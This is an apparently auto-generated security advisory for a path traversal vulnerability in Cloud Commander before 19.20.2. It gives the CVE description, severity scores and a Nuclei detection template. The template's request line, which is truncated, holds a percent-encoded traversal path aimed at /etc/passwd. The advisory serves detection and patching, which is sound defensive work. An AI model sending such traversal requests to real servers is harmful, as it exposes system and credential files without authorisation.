Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Cloud Commander before 19.20.2 contains a directory traversal vulnerability in REST file-operation and markdown endpoints that fails to properly validate path normalization. Attackers can use path traversal sequences to read, write, move, or copy files outside the configured root directory.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-08-29).

Weakness: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.

How to detect it

Nuclei template (active check)

Cloud Commander - Path Traversal Arbitrary File Read via /api/v1/markdown

Cloud Commander (cloudcmd) before 19.20.2 contains a directory traversal vulnerability in its REST file-operation and markdown endpoints that fail to properly validate path normalization. An unauthenticated attacker can send percent-encoded traversal sequences to the GET /api/v1/markdown endpoint with the relative query flag to read files outside the configured root directory, such as /etc/passwd, returned verbatim in the response body. Fixed in version 19.20.2.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /api/v1/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?re...); it decides using regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
